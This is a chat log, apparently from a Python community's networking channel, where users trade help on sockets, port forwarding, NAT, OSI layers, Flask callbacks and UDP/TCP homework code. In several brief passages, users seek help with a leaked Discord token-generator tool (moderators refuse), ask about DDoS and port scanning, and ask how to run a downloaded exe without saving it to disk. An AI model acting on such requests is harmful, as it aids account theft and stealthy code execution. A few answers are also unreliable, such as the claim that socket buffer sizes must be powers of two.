#networks

1 messages · Page 2 of 1

cloud plover
#

@shell tulip

shell tulip
#

I am Indian too

cloud plover
#

ohh

shell tulip
cloud plover
#

can we chat in dm?

#

@shell tulip

cinder isle
#

I still haven't found the solution to my problem.

prisma cobalt
#

when a client connects to your self, use the uuid module to create a uuid4 object (which is it's id), you can then store it on the server and send it back to the client

#

use a dictionary to store the current ID's and if you want, you can write it to a file when a client joins/disconnects

#

as for the displaying of this data, i'll leave that to you

hot harbor
#

Hi everyone, I am studying networks and I want to make a presentation about tools that simulate unstable network connections between the base station and backend. If anyone has knowledge about this topic, I would like to get information. Thanks in advance!

pallid compass
#

Hi! im trying to build a very basic game in python, and im trying to organise communication between 2 computers over the internet (not lan), how can it be done?

zealous flint
#

Well maybe not the most common but they’re used a lot

pallid compass
zealous flint
wraith hearth
#

so I have an aws lightsail

#

and I was told that a webserver was what I needed to use as a callback uri for this api I'm using

#

but is there a reason I can't just pass my own ip address as the callback uri?

#

like if I can run a flask script and serve myself when I visit localhost, is there a reason I can't just run a flask script and have the api pass the data to my IP address without needing a webserver at all?

zealous flint
wraith hearth
zealous flint
#

Anyone from anywhere in the internet can then access your local network

#

Your router will receive a request, and it will send it to the device on the LAN that it should be processed by (host). The host device will then process it, send a response back out

#

If you don't port forward, any request coming in to you will be dropped by the router

fallen trellis
#

To see if your internet is on, enter this command:

nmcli radio wifi

If the output is not “enabled”, run this command:

nmcli radio wifi on’

Check if your network is listed with:

nmcli dev wifi list

It might not show at first, so run it again and again until you eventually see it.
Now, simply connect with:

sudo nmcli dev wifi connect network-[NETWORK_NAME]

Note: replace [NETWORK_NAME] with your actual network. If your network is protected by a password, it’ll ask for a password.

#

i hope it works

prisma cobalt
fallen trellis
ocean bay
tender hemlock
fallen trellis
prisma cobalt
#

a packet reaches the router, if port forwarding is enabled, the router will forward the packet to the server

#

if its not enabled, the packet will be dropped

steady horizon
ocean bay
# prisma cobalt if its not enabled, the packet will be dropped

Oh hold up haha. Say theres no port forwarding and weve got an http server, when a client wants to send a request its gotta establish a tcp connection with the server, then it sends a request to the server. the router accepts the packet then forwards it to the http server.

steady horizon
#

Port forwarding has to be enabled for this process to complete successfully

ocean bay
#

Oh

steady horizon
#

Mainly for the last sentence

prisma cobalt
steady horizon
#

Of course a TCP connection is established by sending and receiving packets, too, so that part also means you need to enable port forwarding

ocean bay
#

So every http server in the world connected to a router has port forwarding enabled

prisma cobalt
#

you've got the right idea (even if that sentence isnt 100% true)

#

also before any confusion happens, port forwarding isnt specific to HTTP

steady horizon
#

I guess it depends on whether the network protocol being used uses ports

ocean bay
#

Is there an alternative to port forwarding for the http server to receive a packet from an external network? I thought that the server’s router would use its mac table to find the http server’s mac address and send the packet to the http server via the switch

prisma cobalt
#

mac and ip are different layers

#

totally seperate

#

but there are alternatives

#

such as hole punching although good luck implementing that yourself 😄

prisma cobalt
ocean bay
#

Im talking about the server’s router when it receives the client’s packet

#

But ive just been thinking and yeah I guess server routers do need to use port forwarsing…huh

prisma cobalt
#

port forwarding is only to allow people outside the network to send messages inside the network
the server (inside the network) can send messages anywhere it wants regardless of port forwarding

steady horizon
#

Port forwarding allows for managed communication, really

#

I think

prisma cobalt
#

managed communication?

steady horizon
#

Because the router drops incoming packets that don't correspond with its port forwarding rules

ocean bay
prisma cobalt
#

yes

#

unless theres no firewall in the first place, but thats not reccomended :)

ocean bay
#

What about NAT then? Doesn’t it sort of allow a client to receive a response from a device outside its network (after sending a request packet first)?

steady horizon
#

Aren't NATs simply mapping tables

prisma cobalt
#

yes

#

nat allows ip addresses to be used between many clients by using ports as identifiers

ocean bay
#

Oh

prisma cobalt
#

for example, any device on your LAN will have a unique private IP address however they will share a public IP address and it's up to NAT to decide how

#

let me draw something, one sec

ocean bay
#

nat is just the translating of private to public ips and vice versa w the nat table, but the incoming packets that get translated by the nat are still port forwarded to your device.

prisma cobalt
#

forgive the ms paint drawing lol

ocean bay
#

Thanks for that

steady horizon
#

NATs are responsible for uniquely defining local IP & port pairs outside of the local network

prisma cobalt
steady horizon
#

And mapping back in

ocean bay
#

On a side note, how does a router know the destination port of the packet if its a layer 3 device and ports are on layer 4

prisma cobalt
#

it will analyse the packet

#

it will deconstruct it, read the data and reconstruct it with data for the next hop

#

or simply drop it if it doesnt understand it

ocean bay
#

Yeah I get the decapsulating of the L2 to read the L3 and re-encapsulating of L2 to send it to the next hop. But a router’s a L3 device that shld only analyse up to L3, how does it know the destination port of the packet (which is on the L4)?

prisma cobalt
#

it has to read this data in the ip header to distinguish which protocol

#

thats the IP header

#

once protocol has been determined

#

it can decide how to next process the packet

#

which, in the case of TCP, it should read the port from the TCP headers that follow the IP headers

ocean bay
#

So after determining the L4 protocl based on that protocl header in the IP packet, the router does go on to analyse the L4 to get the port

prisma cobalt
#

yes, that's my understanding

steady horizon
#

Why does it work like this

ocean bay
#

But routers are L3 devices ahhhhhh

steady horizon
#

Why does TCP include the protocol port as well as its encapsulating layer

prisma cobalt
prisma cobalt
steady horizon
#

Oh the protocol is for UDP/TCP?

prisma cobalt
#

yeah + other protocols

steady horizon
#

I get it now

prisma cobalt
#

its an 8 bit number to represent which protocol, it doesnt reveal any data about the protocol such as ports

steady horizon
#

The protocol tells the router from where to read the port, though

#

If there is a port

prisma cobalt
#

this is a TCP header

steady horizon
#

What protocols don't use ports

prisma cobalt
#

i dont know any of the top of my head

ocean bay
# prisma cobalt

Isn’t this mieading? The IP packet doesn’t contain a header that tells the destination port, the L4 protocol is in Data portion of the packet and the destination port is in that L4 protocol

steady horizon
#

Ye

#

I think so, too

prisma cobalt
steady horizon
#

By the way have you heard of HTTP3

#

It's a new version of HTTP based on QUIC, a protocol under UDP which was developed by Google

prisma cobalt
#

have a look at the OSI model

ocean bay
#

Yeah I was commenting on the image you sent

steady horizon
#

I like how it says WinSock

#

In the session layer

ocean bay
#

Which said that IP packet had a header that had the destination port

steady horizon
#

Technically it does if its protocol includes a port

prisma cobalt
ocean bay
prisma cobalt
#

your right, that is misleading lol

#

sorry

ocean bay
#

All good haha was just making sure my understanding was right

prisma cobalt
#

👍

#

i love networking

#

ping me if you have any more questions

steady horizon
#

I love networking, too

twilit root
#

What abt networking?

prisma cobalt
#

i aspire to be at Joe's level one day, the stuff he has done is truly impressive

#

Joe the owner that is, this isnt the setup for a bad joke lol

twilit root
#

The networking can be even possible with an protocol

ember ledge
#

how do we capture http requests for an application

cursive ruin
#

Hey is it possible to run a https server with flask with a certificate that a react app accepts?

zealous flint
ember ledge
#

It's only for browser i believe

zealous flint
#

Wireshark captures ALL incoming and outgoing packets

ember ledge
#

Nvm nvm imma just do my own research

zealous flint
#

We use it frequently in our networking classes for capturing things like ARP packets

cunning garden
#

To add a bit to it, you can set filters on tcpdump or wireshark to only capture traffic with specific properties (ex: port, addresses or other conditions)

zealous flint
#

Though it won't have a filter for applications like you might want it to, e.g a "Discord" filter for all discord requests

#

But that doesn't mean you can't see discord requests at all, to expand on that example

#

But these packets will usually have some identifying properties on them, that can be applied in such a way that the only packets you see are from your desired applicatoin

cunning garden
#

At the very least, you could restrict by destination ip/port

coarse raptor
#

hi I'm new to python and I've been tasked to create a simple web server that only processes one request. This is the code at the moment. I'm a bit confused as to what should be written in line 19

#

I'm just not sure what i should be assigning the "message" variable

#

the goal is to be able to process one HTTP request through this server and receive the contents of a simple HTML file

zealous flint
#

Do you have to use sockets for processing HTTP server? a web framework would make it much easier I think

coarse raptor
#

yea it's part of the homework

#

i think in this section of code, i need to code up something that recieves an HTTP request i think?

#

oh i think i know now

#

i think in message i have to do

#

connectionSocket.recv(1024)

quasi wraith
#

So I have chose to make a packet sniffer(with GUI) for my 5th sem project....so can anyone suggest me any good modules for reading packets. Idk if the socket module will work or not so pls let me know

queen axle
#

@coarse raptor other clientSocket.recv(bufsize)

#

receives an incoming connection

#

So the variable should contain the packet data if that's what u want

#

also bufsize must be in powers of 2

ember ledge
queen axle
#

this is networking channel, not an advertising channel

hoary sorrel
#

Don't drop random links like this on our server, @tiny spindle, especially not in an on-topic channel. See #rules 6 and 7

ember ledge
#

Hi, I'm using requests to make a POST request to upload an image to a server. However I'm finding that it takes a full 1 second... Is there any way I can improve this, when I don't control the server?

#

Such as maybe pre-emptively starting a handshake before data is ready?

prisma cobalt
#

you have to use accept for that (on the server socket)

zealous flint
#

Network times are bottlenecks

restive blaze
ember ledge
#

What about using an HTTP 2 library? Would that help?

ember ledge
#

Alternate question: Is there somewhere I can upload an image very quickly?

#

The full upload process for me takes 2 requests totaling 2 seconds (one to upload, one to get the resulting URL).

#

Also my current request is like this

r=requests.post(url=urlUpload, headers = headerUpload, data=dataUpload)

I was wondering if putting the file into the files parameter would be faster than the data param

zealous flint
#

That’s just how it is

#

Compared to a computers processing time a network request feels like years

#

Your amount of overhead with a library of choice should be pale in comparison for the actual request

ember ledge
#

I feel like you are just looking for a reason to not propose answers

#

I'm not suggesting network time would go to 0

#

I'm looking for possible improvements

#

File upload is something that takes a lot of bytes, but different libraries may stream it in different ways

#

For example: My first request takes about 1 second to upload the file. This returns a URL. Then I need to read that URL, and make another request that takes another 1.4 seconds or so.

But that second request, I actually don't need the full page to load. I might be able to only wait for half of the response in order to get the data that I need.

ember ledge
#
Traceback (most recent call last):
  File "C:\Users\azion\Downloads\Vichy-DiscordTokenGen-Leak-Full-Source-main\Vichy-DiscordTokenGen-Leak-Full-Source-main\src\main.py", line 136, in <module>
    Worker(D).start()
  File "C:\Users\azion\Downloads\Vichy-DiscordTokenGen-Leak-Full-Source-main\Vichy-DiscordTokenGen-Leak-Full-Source-main\src\main.py", line 26, in __init__
    self.discordSession = DiscordSession(database)
  File "C:\Users\azion\Downloads\Vichy-DiscordTokenGen-Leak-Full-Source-main\Vichy-DiscordTokenGen-Leak-Full-Source-main\src\modules\discord\session.py", line 16, in __init__
    self.__setupSession()
  File "C:\Users\azion\Downloads\Vichy-DiscordTokenGen-Leak-Full-Source-main\Vichy-DiscordTokenGen-Leak-Full-Source-main\src\modules\discord\session.py", line 27, in __setupSession
    self._fingerprint = response.json()['fingerprint']
  File "C:\Users\azion\AppData\Local\Programs\Python\Python310\lib\site-packages\httpx\_models.py", line 743, in json
    return jsonlib.loads(self.text, **kwargs)
  File "C:\Users\azion\AppData\Local\Programs\Python\Python310\lib\json\__init__.py", line 346, in loads
    return _default_decoder.decode(s)
  File "C:\Users\azion\AppData\Local\Programs\Python\Python310\lib\json\decoder.py", line 337, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File "C:\Users\azion\AppData\Local\Programs\Python\Python310\lib\json\decoder.py", line 355, in raw_decode
    raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)```
#

I just loosing my mind

#

someone can help me pls?

dawn notch
#

Checking what self.text contains has might be a good start. (Not sure if this is a good channel for this though.)

prisma cobalt
#

!rule 5

errant bayBOT
#

5. Do not provide or request help on projects that may break laws, breach terms of services, or are malicious or inappropriate.

ember ledge
#

it's a troll

#

I'm making a troll

prisma cobalt
#

that doesn't matter

deep hemlock
#

Token generators violate rule 5. We will not assist, regardless if you're "trolling" or not.

ember ledge
#

nvm u guys are not cool

#

bye bye

deep hemlock
#

See ya.

prisma cobalt
#

its not cool when your account is hacked and your personal infomation leaked i think 🤷‍♂️ call me old fashioned

ember ledge
#

Words argg

#

Argh

#

Stupid keyboard

dawn notch
#

Oh. My bad. Didn't even notice that staring at my face.

ember ledge
#

Huh?

quasi wraith
ebon silo
#

I'm making a server-client communication framework using sockets, and I'm wondering which approach makes more sense:

  • Setting a relatively long timeout on the server during which if the client doesn't sent a message, they will be disconnected
  • Setting a relatively short timeout on the server, and making the client send empty heartbeat packets to let the server know it's up
  • Waiting for client to send data indefinitely on the server (I'm using async, so this won't block other connections)
gloomy root
#

the Second option is basically the only way to go. Waiting indefinitely can make you pretty easily liable to something like Slow Lowris esque attacks and just ddos your server

ember ledge
#

what's one similarity and one difference between a switch and a router?

zealous flint
ember ledge
#

ohh forgot to talk about the layers

zealous flint
#

Switches will usually also be used within a network, and while a router is technically also within a network, it can be used to send packets outside and inside of networks

ember ledge
#

yep a router is on layer 3, data link

zealous flint
#

data link is layer 2 i think

ember ledge
#

is it?

#

oh yes my bad

zealous flint
#

network is 3

#

my layers are a bit rusty so sorry if that's wrong lol

#

either network or transport don't remember

ember ledge
#

physical data link network transport session presentation application

#

wait so which layer is switch

zealous flint
#

"all people seem to need doctor pepper" as my teacher taught us the mnemonic

ember ledge
#

please do not throw sausage pizza away

ember ledge
zealous flint
#

that's going from bottom up but yeah the point stands

ember ledge
#

getting things mixed up

#

switches communicate with Frames so that makes them lower than routers on the OSI model as it encapsulates more

#

Routers communicate with packets

#

so which layer is a switch on?

#

Physical?

zealous flint
#

the data link layer

ember ledge
#

oh

#

oh my I just mixed everything up lmao

#

I got so confused for a second there lol sorry

#

yes I remember now

zealous flint
#

no worries. physical is your hardware stuff, the copper wiring, that sort of thing

ember ledge
#

yep

#

so what's a similarity?

#

they both send data within a network?

#

because a router still does

zealous flint
#

a switch only receives and forwards data internally

#

it does no out of network communication

ember ledge
ember ledge
zealous flint
#

ah a similarity..

#

that's a bit difficult. they're 2 different devices meant for different jobs

ember ledge
#

they both receive data?

zealous flint
#

we could say something generic like, they both handle data

#

but that practically applies to any electronic device

ember ledge
#

it's meant to be easy lol

ember ledge
#

they both have ports.

#

interfaces

zealous flint
#

right

#

though a router doesn't have as much

#

i believe only has like 2 of them

ember ledge
#

yep

zinc charm
#

Bom dia, pessoal! Quero que ajuda com uma dúvida. Tenho 3 computadores na rede, mais dispositivos android nesta rede. Suponha que eu quero impedir que outros computadores instalem softwares de pentest, monitoramento como Zabbix em suas máquinas, pois apenas o adm da rede poderá administrar essa rede e saber o que acontece nela. O que eu devo fazer, ou aprender?

prisma cobalt
#

!rule 4

errant bayBOT
#

4. Use English to the best of your ability. Be polite if someone speaks English imperfectly.

prisma cobalt
#

Can you resend that in English @zinc charm

covert rover
#

you can use google translate maybe

zinc charm
#

Good morning people! I want you to help with a question. I have 3 computers on the network, plus android devices on this network. Suppose I want to prevent other computers from installing pentesting, monitoring software like Zabbix on their machines, as only the network adm will be able to administer this network and know what happens on it. What should I do, or learn?

floral knot
#

Two PCs connected together using 10Mbps Ethernet Switch, the other ports of the Switch are not connected to any device other than the DHCP server and the Router, One PC want to send 100 KByte file to the other PC.

  1. List ALL Frames exchanged through the switch

2.Calculate the overall exchanged data.

  1. Calculate the time required to send the 100 Kbyte file if TCP is used.

  2. Calculate the ffective data transfer rate if TCP is used.

  3. Repeat 3 and 4 if UDP is used.

spiral nacelle
#

hey fellow python devs, I'm building basic chat application using sockets and I need to have concurrency to maintain multiple connections. I have looked it up and I found out that I can achieve concurrency with threads and asycio. but I am confuse which should I use? I read it on an article that asyncio is efficient in some ways but still I am confuse, need assistance.

ember ledge
#

Hi everyone, please tell me how to run python file as administrator

dawn notch
#

What is it for? One thing to try is to use a server port number greater than 1023.

#

Not sure whether you can do this on Android easily.

ember ledge
#

i used port 1234, thanks, you helped me

#

it works

wraith hearth
#

I'm using an api that has a callback uri

#

how do I give it my IP address so it'll send the data directly to my machine?

#

I was told I could do port forwarding

#

and I have this code

#
import socket
sock = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
host = socket.gethostname()
port = 5555
sock.bind((host, port))
sock.listen(1)
conn, addr = sock.accept()
print(addr)
data = "Hello!"
data = bytes(data, 'utf-8')
conn.send(data)
sock.close()
#

but it doesn't connect when I type in my IP address:5555 in chrome

#

even though I'm running the script

zealous flint
#

I thought that was the job of a web server, like flask

#

Usually it's much better to handle these callback based APIs with a webserver

wraith hearth
#

I would need to use my aws lightsail?

zealous flint
#

But whoever suggested port forwarding probably also gave you a word of advice that it's dangerous

wraith hearth
#

sure but I don't really care about that since it's only dangerous while the server code is running, right?

#

and only if someone happens to target my specific device

zealous flint
#

that port is always open

#

it's like leaving your garage door open 24/7

wraith hearth
zealous flint
#

yes

wraith hearth
#

I see

zealous flint
#

once you do that it's smooth sailing

#

just set up a rudimentary flask app to handle the URL callback

wraith hearth
#

I see. I already have a server instance running on aws, but I haven't uploaded any code yet

#

if I upload the code, do I have to execute it in the aws command line?

#

I just uploaded the following test code

#
from flask import Flask

app = Flask(__name__)

@app.route("/")
def home():
    return "This is a test message!"
    
if __name__ == "__main__":
    app.run(debug=True)```
#

as a .py file

zealous flint
wraith hearth
#

what is app route?

#

I ran this code and tried to connect to the server's IP address and it didn't connect

zealous flint
wraith hearth
#

ok I played around with the settings and now when I go to the server's ip address I get this

#

but where is my "this is a test message"

sudden escarp
#

is there any general issue with Bearer auth in requests? i'm copying request headers verbatim from the way chrome sends them but getting 401 unauthorized in python

#

do i need to do an OPTIONS request first?

#

like i can call login method but then calling another method with the same exact authorization "Bearer " header doesn't work

#

oh jfc i just needed to put headers=

wraith hearth
#

I finally got my server configured to take the data from the api call

#

but now I need to send that url data to my local machine so I can retrieve the audio clip and play it

#

is there a way in flask to send data to an IP address? I'm afraid it would slow everything down if I just had my local machine just constantly pinging the server asking if the data was ready

cloud plover
#

Is it the right place to discuss about socket programming and TCP and UDP connections?

#
What is TCP and UDP communications?
TCP is a connection-oriented protocol, whereas UDP is a connectionless protocol. A key difference between TCP and UDP is speed, as TCP is comparatively slower than UDP. Overall, UDP is a much faster, simpler, and efficient protocol, however, retransmission of lost data packets is only possible with TCP.
#

I ve doubt in this paragraph

edgy pelican
#

i dont

zealous flint
prisma cobalt
#

The dangers of port forwarding come from the application listening behind the port. In of itself, port forwarding isn't dangerous.

wraith hearth
zealous flint
wraith hearth
#

I see

#

I've finally got everything working, but there's one problem left

#

my client doesn't know when the server has received the audio file

#

so it just needs to keep pinging the server to ask if it's ready

#

is this the right way to do this?

#

it seems hacky

zealous flint
#

It’s called polling

#

You can have your server notify the client when it receives the audio file

wraith hearth
zealous flint
#

Sure. It’s similar to a callback or how discord does interaction over HTTP

#

Your client would need port forward of course

#

Websockets are another option

wraith hearth
#

oh

wraith hearth
zealous flint
#

Should be

#

No need to port forward

#

Keep in mind that port forwarding isn’t really necessary on a production server so I feel like worrying about port forwarding doesn’t have much merit

prisma cobalt
ocean bay
#

@prisma cobalt Real quick, I remember you saying port forwarding is the only way for devices outside a network to communicate with devices within a network.

how is a computer in a home network able to receive any http responses from outside networks then since port forwarding isnt enabled by default?

prisma cobalt
#

it can only happen once the computer in a home network first contacts the server

#

then the router knows that the incoming messages are "authorized" and so it forwards them to the original computer instead of dropping them

#

effectively creating a hole in the firewall, much like port forwarding but port forwarding doesnt require the computer on the inside of the network to talk first

ocean bay
#

Oh yeah the router firewall allows packets through that are in an established tcp connection is that it?

ocean bay
prisma cobalt
#

yes, the server and only the server would need to

#

for residential networks that is
commercial networks usually only have one physical server so they dont need NAT so they dont need port forwarding since the server uses the public IP (it doesnt have a private ip) but you dont need to worry about this that much

cedar forum
#

hello networkers

#

are we networking

zealous flint
#

we are networking the big network

ember ledge
prisma ibex
#

Good evening everyone, I was wondering if anybody has any resources they can point me to regarding implementing custom networking protocols in python

cloud plover
#

I have a doubt in writnig socket programming

#

can someone help with it?

#

who s comfortable with that?

#

for running server and client file in python, why do we have to run server in powershell adminitstrator mode and client in normal powershell?

#

I M FOLLOWING THIS BOOK

6th Edition, Kurose and Ross```
cloud plover
steady sage
cloud plover
#
  File "UDPclient.py", line 7, in <module>
    clientSocket.sendto(message,(serverName, serverPort))
TypeError: a bytes-like object is required, not 'str'
#
#udp client
from socket import *
serverName = 'hostname'
serverPort = 12000
clientSocket = socket(AF_INET, SOCK_DGRAM)
message = input('Input lowercase sentence:')
clientSocket.sendto(message,(serverName, serverPort))
modifiedMessage, serverAddress = clientSocket.recvfrom(2048)
print(modifiedMessage)
clientSocket.close()
#

This is the code

cloud plover
steady sage
cloud plover
#

win10

steady sage
#

error is showing you are passing string

cloud plover
#

we have to pass string right

#

its expecting input as string

steady sage
#

u can encode it to bytes

cloud plover
cloud plover
cloud plover
#

then help me when i get stuck

#

😌

cloud plover
steady sage
#

i'm lil busy rn

cloud plover
steady sage
#

after 7

cloud plover
steady sage
#

ist

cloud plover
#

okk

#

done

steady sage
# cloud plover okk
serverName = 'hostname'
serverPort = 12000
clientSocket = socket(AF_INET, SOCK_DGRAM)
message = input('Input lowercase sentence:')
clientSocket.sendto(message.encode(),(serverName, serverPort))
modifiedMessage, serverAddress = clientSocket.recvfrom(2048)
print(modifiedMessage)
clientSocket.close()```
#

try it

cloud plover
#

Input lowercase sentence:sdf
Traceback (most recent call last):
File "UDPclient.py", line 6, in <module>
clientSocket.sendto(message.encode(),(serverName, serverPort))
socket.gaierror: [Errno 11001] getaddrinfo failed

#

@steady sage

steady sage
#

it means hostname can't be resolved

cloud plover
#

what to do in this case

#

localhost?

steady sage
#

will see it later

cloud plover
#
Input lowercase sentence: this is lower case statement
b'THIS IS LOWER CASE STATEMENT'
#

why b is coming in front

cloud plover
# steady sage will see it later
from socket import *
serverName = 'localhost'
serverPort = 12000
clientSocket = socket(AF_INET, SOCK_DGRAM)
message = input('Input lowercase sentence: ')
clientSocket.sendto(message.encode(),(serverName, serverPort))
modifiedMessage, serverAddress = clientSocket.recvfrom(2048)
print(modifiedMessage)
clientSocket.close()
#

i did the change to serverName

upper bramble
#

In netmiko, can i do multiple if else statements under one command, as show in the picture? Or is there a better way to do that? Like if i want to do multiple check

fresh maple
#

Do some DDOS attacks have port scanners to flood many endpoints with opened valid ports?

cloud plover
#
#TCP Server
from socket import *
serverPort = 12000
serverSocket = socket(AF_INET,SOCK_STREAM)
print('socket created')

serverSocket.bind(('localhost',serverPort))
serverSocket.listen(1)

print('The Server is ready to listen')

while True:
    connectionSocket,addr = serverSocket.accept()
    print('Connected with ',addr)
    sentence = connectionSocket.recv(1024)
    capitalizedSentence = sentence.upper()
    connectionSocket.send(capitalizedSentence)
    connectionSocket.close()
#

what does .recv(1024) means?

fresh maple
fresh maple
prisma cobalt
#

1024 bytes! Not mb

#

No

prisma cobalt
prisma cobalt
fresh maple
fresh maple
cloud plover
#

can someone take over the

#

its related to networks UDP

#

protocol

zealous nimbus
#

Hey, i'm learning asyncio streams to do network programming for a simple multiplayer game and have a question about how to structure my network protocol.
I don't know if one of these approaches is strictly better than the other but I'd like some feedback on what seems like a better idea, or at least more familiar.
One approach would be to send packets back and forth like a conversation, this means that the way a packet is interpreted depends on the previous packet.
(here's an example of what some code using that approach looks like (also this is prototype code I know its not using asyncio or streams but the key thing to look at here is the control flow and not the actual module i'm using to send & recv data))
server code:

while True:
    name = conn.recv(2048).decode()
    if name not in Player.players:
        logging.info(f'name {name} for {addr} accepted')
        conn.send(b'name_accepted')
        player = Player(name, conn)
        players.append(player)
        break
    logging.info(f'name {name} for {addr} rejected')
    conn.send(b'name_rejected')

client code

while True:
    message = sock.recv(2048)
    match message:
        case b'ask_for_name':
            while True:
                prompt = sock.recv(2048).decode()
                sock.send(input(prompt).encode())
                resp = sock.recv(2048)
                if resp == b'name_accepted':
                    break
                elif resp == b'name_rejected':
                    print('Name rejected')
                else:
                    raise NetworkDesyncError
#

the other way would be to use a single loop with a command like syntax for the packets

#

so for example

conn.send(f'name {name}'.encode())```
#

or if there's a better way to do things i'm happy to chat about it

#

my concern with the first approach is that the client and server are essentially behaving like state machines that have to be kept in sync across the socket

ember ledge
wicked salmon
#

Hello folks, long time no see
I recently built a simple port scanner app but I would like to add other features. But I just don't know what other features to add, I don't know much about network programming. Any ideas/suggestions would be greatly appreciated

ember ledge
#

What lib did you write it with @wicked salmon ?

wicked salmon
ember ledge
#

That's nice low level hands on.

wicked salmon
ember ledge
#

I'm sure there are. What now, I could'nt tell ya, not sure.

wicked salmon
ember ledge
#

Absolutely. Clone RICP and do a PR fixing my bi-directional pipe want.

#

I'm adding encryption to it right now. Torn on which crypto model to go with. Studying up

#

I wrote this thing hoping to give a talk but never followed through with it. Something real life popped up to where it became useful and so I finished it and published it, but the 2-way doesn't work yet.

wicked salmon
ember ledge
#

and..... encryption enable

flint nexus
#

hi! i have written a small script to just copy data from one tcp server to another. so whatever's sent from one of them is then forwarded to the other by the script that sits in between and connects to both of them.

#
    async with await anyio.connect_tcp(src_ip, src_port) as reader, await anyio.connect_tcp(dst_ip, dst_port) as writer:

        while True:
            try:
                await writer.send(await reader.receive())
            except anyio.EndOfStream:
                break
#

this is the code i've got.. but i'm wondering how this scales.. what if the "writer" is able to send data faster than the "reader" can receive? (different bandwidth)

#

what happens then?

#

what i want to happen is that this proxy will then buffer the data.. so the writer should be able to send as fast as it can..

ember ledge
flint nexus
ocean bay
#

This sounds like a consumer/produxer problem. I’ve only played around with it so read this with a grain of salt. you can have a queue.Queue() between your producer (the tcp server that writes) and consumer (the tcp server that reads). Your producer writes to the queue.Queue() as fast as it wants, and since it’s a fifo structure, the consumer can take its time to process each item, taking each item from the front of the queue, while the producer keeps filling the back of the queue. There’s other ways to solve this problem e.g thread locks and semaphores but queus are a nice and easy way to do it.

flint nexus
ocean bay
#

I know threading works, so I assume async should too

#

Yeah id reckon so

flint nexus
#

yeah, i'll try there 🙂

ember ledge
cloud plover
#

does anyone knows to send mail in python?

#

The goal is to create a simple mail client that sends email
to any recipient. Your client will need to establish a TCP connection with
a mail server (e.g., iiith mail server: mmtp.iiith.ac.in), dialogue with the mail
server using the SMTP protocol, send an email message to a recipient (e.g.,
your friend) via the mail server, and finally close the TCP connection with
the mail server.
Your job is to code and test your client by sending email to different user
accounts

#

does anyone have ideas on how to approach this qn

#

@sharp finch

flint nexus
flint nexus
#

Ask your question, "plz"

dim flax
ember ledge
#

Nice and easy. I hate cobbling stuff together from huge documentations...

zealous nimbus
# ember ledge did you find your solution?

i'm moving forward with the first method, where the server stays in a loop waiting for a specific packet,
heres a sample of some of the code I'm writing

    async def get_name(self, client):
        await client.wait_for_packet(b'name')
        logging.info(f'waiting for name for {client.addr}')
        while True:
            name = await client.get_validated_packet(
                validator=self.validate_name, decoder=bytes.decode)
            if name:
                player_id = self.add_player(name, client)
                logging.info(f'accepted name {name} for {client.addr}')
                await client.write(b'name_accepted')
                return player_id
            else:
                logging.info(f'rejected name {name} for {client.addr}')
                await client.write(b'name_rejected')
#

but i'm still happy to get any advice about a more robust way to do it

flint nexus
#

i'm looking to expand on my code to include a very simple http api endpoint to basically remote control the code.. without resorting to using a whole framework, is there an easy way of doing this?

#

i basically want to be able to perform an http get with a couple of arguments

prisma cobalt
#

are you looking to "perform" an http get or receive and handle a get request @flint nexus ?

flint nexus
#

the latter

#

i have a very simple script that will take two arguments upon startup.. it's basically two endpoints that it need to connect to

#

but instead of doing it like that, i want to accept these arguments over http

#

so that the script can be "remote controlled"

prisma cobalt
#

i would recommend fastapi (fast is in the name, its pretty easy) but since you said you dont want to use a framework then its possible to use the socket module but you'd have to implement handling the requests yourself and it wouldnt be very good

flint nexus
#

well, fastapi sounds interesting

prisma cobalt
#

which is probably more specific to what you want

#

fastapi will automatically typecheck the data as well as auto document your API for you so you dont have too

flint nexus
#

i guess i'm more curious on how to fit everything together

#

this needs to "fork out"

#

but that's a task for tomorrow.. thanks for your input

cloud plover
#

have to implement email sending without using smtp python lib.

#

implement from scratch using TCP protocol

zealous flint
#

That's going to be a bit tricky building from scratch

flint nexus
#

Yeah, especially with tls and authentication

signal flint
#

is it possible to send UDP requests using sockets?

#

and if it's possible how ?

earnest blaze
prisma ibex
#

As an answer to a question I asked several days ago (which no one had the dignity with which to respond) if you are looking for a reference for implementing custom networking protocols a good reference is the book Foundations of Python Network Programming by Brandon Rhodes and John Goerzen

calm epoch
#

Can anyone give me a place to start to stream a webcam connected to a raspberry pi to an android smartphone on a different network?

pulsar axle
#

!rule 9

errant bayBOT
#

7. Keep discussions relevant to the channel topic. Each channel's description tells you the topic.

pulsar axle
#

Maybe post that on indeed or a freelancing website. I don't think discord is the way to go anyway tbh

calm epoch
#

Sorry, I wasn't looking for someone to code something for me. I was more looking for something like "someone did something sort of like that on this post". I had just done a lot of googling without really knowing what to search for.

jagged stone
#

I've been trying to create a p2p network, but I found out that my network provider is using a randomly allocating symmetric nat so I'm unable to do any reasonable tcp hole punching afaict. I'm completely open to using multiple public rendezvous servers but they don't seem to useful right now. Is there any method or reasonable solution? I don't think having each client test 30k+ target ports is reasonable. I'm also working in python 3.8 if that matters at all.

thorny hornet
#

when using scapy to perform a simple sniff and summary ```python
from scapy.sendrecv import sniff

packet = sniff(5)
packet.summary()it gives me this error: `Unable to guess datalink type`. but if I include IPv6 it workspython
from scapy.layers.inet6 import IPv6
from scapy.sendrecv import sniff

packet = sniff(5)
packet.summary()```why?

rich thicket
#

Hi i need to learn networking, im a beginner can any one guide me 🙂

upper imp
#

what is the TLSAdapter

plain stratus
#

Anyone good at AWS

signal flint
#

hello

#

is it possible to send and receive data every 10 secs or any timing using sockets library?

prisma cobalt
#

it certainly is!

lusty parcel
#

hi everyone, hope you are well
listen I'm in the middle of pulling out my hair for several days, I have a server with an ipv6/64 block, and I would like to allow my bot to use a random IPv6 address for each request, is it possible?
The solution I find most often is to open nIPv6 addresses, create nIPv4 proxies and use them in such a way that IPv4:xPort => IPv6; isn't it easier? I don't have the knowledge to open X addresses of a block on debian, make them listen on a port, redirect each port to make proxies...it looks like a quagmire

cunning garden
#

Hi!
We don't do advertisement on this server

#

!rule 6

errant bayBOT
#

6. Do not post unapproved advertising.

warped ingot
#

is there a way to download an exe over ftp and run it without saving to disk

#

I've been googling for over an hour and can't find anything

prisma cobalt
#

any interesting challenge @warped ingot is there any reason for doing so?

warped ingot
#

trying to keep the program as 1 file without adding space to disk

prisma cobalt
#

you could easily-ish do it with a python file but with an exe 🤔 it would be very difficult

zealous flint
#

Your EXE needs to be stored somewhere

vital acorn
#

